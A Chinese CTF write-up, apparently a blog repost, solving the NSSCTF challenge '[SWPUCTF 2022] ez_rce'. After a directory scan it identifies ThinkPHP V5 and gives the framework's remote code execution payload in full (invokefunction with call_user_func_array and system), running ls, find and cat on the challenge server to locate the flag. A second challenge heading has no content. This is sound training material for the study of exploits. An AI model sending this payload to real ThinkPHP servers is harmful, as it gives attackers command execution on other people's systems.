NSSCTF-Web题目7

2025/2/23 1:00:30 来源：https://blog.csdn.net/weixin_54055099/article/details/139530239 浏览: 次关键词：NSSCTF-Web题目7

[SWPUCTF 2022 新生赛]ez_rce

1、题目

2、知识点

3、思路

编辑

[MoeCTF 2022]baby_file

1、题目

2、知识点

3、思路

[SWPUCTF 2022 新生赛]ez_rce

1、题目

2、知识点

ThinkPHP V5 框架漏洞的利用，命令执行

由于ThinkPHP5在处理控制器传参时，没有对参数进行充分的过滤与验证，导致恶意用户可以通过提交恶意数据，构造出一个带有PHP函数的控制器方法，并通过URL参数的形式访问该方法，从而触发远程代码执行漏洞。

3、思路

打开题目，发现什么都没有，源代码里面也什么都没有，这时候尝试目录扫描

访问这个文件

接着访问提示文件

结果出现一个框架界面，ThinkPHP V5的框架，没有其他提示，上网搜一下这个框架，发现有一个远程执行命令的漏洞。

可以记住这一个框架漏洞，以后可能会利用到

利用poc如下：

url+?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=系统执行命令

http://node5.anna.nssctf.cn:29371/NSS/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

发现flag文件，结果打开什么都没有，找其他flag文件

http://node5.anna.nssctf.cn:29371/NSS/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name 'flag'

在 /nss/ctf/flag/flag 找到flag

http://node5.anna.nssctf.cn:29371/NSS/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /nss/ctf/flag/flag